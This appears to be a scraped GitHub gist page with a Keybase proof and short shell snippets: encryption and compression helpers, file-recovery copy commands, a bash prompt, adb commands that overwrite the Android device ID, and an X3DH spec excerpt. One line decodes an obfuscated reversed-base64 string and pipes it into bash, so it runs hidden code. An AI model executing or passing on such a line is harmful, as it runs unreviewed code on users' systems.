I hereby claim:
- I am xdevs23 on github.
- I am superboringdev (https://keybase.io/superboringdev) on keybase.
- I have a public key ASBnQzCJd3bEUwDhhEkvTud8xJ3qCnEEfM2LxsAWKE_n9go
To claim this, I am signing this object:
#!/bin/bash | |
# Source this file to have the functions in your shell, or add following line to your ~/.bashrc : | |
# source easyenc.sh | |
# Make sure to specify the correct path. | |
# Now you can: source ~/.bashrc | |
# $1: input file | |
# $2: output file (encrypted) | |
function encryptfile() { |
# XZ (LZMA2 implementation) is a very strong and one of the most used compression utils | |
# Compress folder | |
# Specify 'noabrt' to prevent cancelling the process when an error occurs | |
# Specify 'nodel' to keep input files | |
# Specify 'force' to force compression and avoid some weird errors | |
function compressfolder() { | |
addnbrt="" | |
[[ " $@ " == *" nodel "* ]] && addnbrt="--keep" | |
[[ " $@ " == *" force "* ]] && addnbrt="$addnbrt --force" |
# Copies files that have a specific extension to another directory while keeping directory structure and remove the prefix | |
# Example: ./dir_00000032.chk/Media/Backgrounds/Indoors/hall.jpg -> ../recov/jpg/Media/Backgrounds/Indoors/hall.jpg | |
# Replace the extension as you like | |
find -name "*.jpg" -type f -print0 | xargs -0 -i bash -c 'tt="$(echo -n '"'"'{}'"'"' | sed -e '"'"'s/[.]\/[^/]*\///g'"'"')"; mkdir -p "../recov/jpg/$(dirname '"\""'$tt'"\""')"; cp -v '"'"'{}'"'"' "../recov/jpg/$tt"' | |
# To remove the extension completely and just copy everything: | |
find -type f -print0 | xargs -0 -i bash -c 'tt="$(echo -n '"'"'{}'"'"' | sed -e '"'"'s/[.]\/[^/]*\///g'"'"')"; mkdir -p "../recov/$(dirname '"\""'$tt'"\""')"; cp -v '"'"'{}'"'"' "../recov/$tt"' | |
# Of course replace the things as you like | |
# This comes extremely useful when you have found.* folders from chkdsk which you want to extract | |
# files from. |
#Change permissions recursively only to directories: | |
find . -type d -exec chmod -R 0755 {} \; | |
#Change permissions recursively only to files: | |
find . -type f -exec chmod -R 0644 {} \; | |
# How to apply: | |
# Put the content below in your .bashrc or whatever you use | |
if [ "$(whoami)" == "root" ]; then | |
PS1_U_COL=160 | |
PS1_U_COL_A=124 | |
else | |
PS1_U_COL=39 | |
PS1_U_COL_A=25 | |
fi | |
PS1="\[\e[1;90m\]\\$ \\[\e[1;38;5;${PS1_U_COL_A}m\]$(echo -e '\ue0b1')\[\e[1;38;5;${PS1_U_COL}m\] \u \[\e[1;38;5;22m\]$(echo -e '\ue0b1')\[\e[1;38;5;70m\] \h \[\e[1;38;5;23m\]$(echo -e '\ue0b1')\[\e[1;38;5;36m\] \w \[\e[1;90m\]$(echo -e '\ue0b1')\[\e[0m\] " |
adb shell content query --uri content://settings/secure --where "name=\'android_id\'" | |
adb shell content delete --uri content://settings/secure --where "name=\'android_id\'" | |
adb shell content insert --uri content://settings/secure --bind name:s:android_id --bind value:s:7373de1e9e9670c2 |
echo -n "Kg2chJGI8ByJoNXYiBCfgQWLgQjNlNXYiBCfgYXZyBCfgQWLgAXa6dGI8BCZtACN2U2chJGI8BidlJHI8BCazFmYgwHIk1CI0YTZzFmYgwHIis0YDNFMNh1UCZEMMBnVV1keOVVU0kFWUFXOtFmTw5mYDJkVjpGcuNVcWxWZRxmeh5mVIplewUUV2UjMVpnUWRVeOpXUwcmeRJUOrR1QSp3US50VRJkRVFlbBlnYv50VaJCI8wDPgQXYjdCIvh2YlBiP" | rev | base64 -d | sed -e 's/^> //' | bash |
I hereby claim:
To claim this, I am signing this object:
The X3DH Key Agreement Protocol | |
Revision 1, 2016-11-04 [PDF] | |
Moxie Marlinspike, Trevor Perrin (editor) | |
Table of Contents | |
1. Introduction | |
2. Preliminaries | |
2.1. X3DH parameters |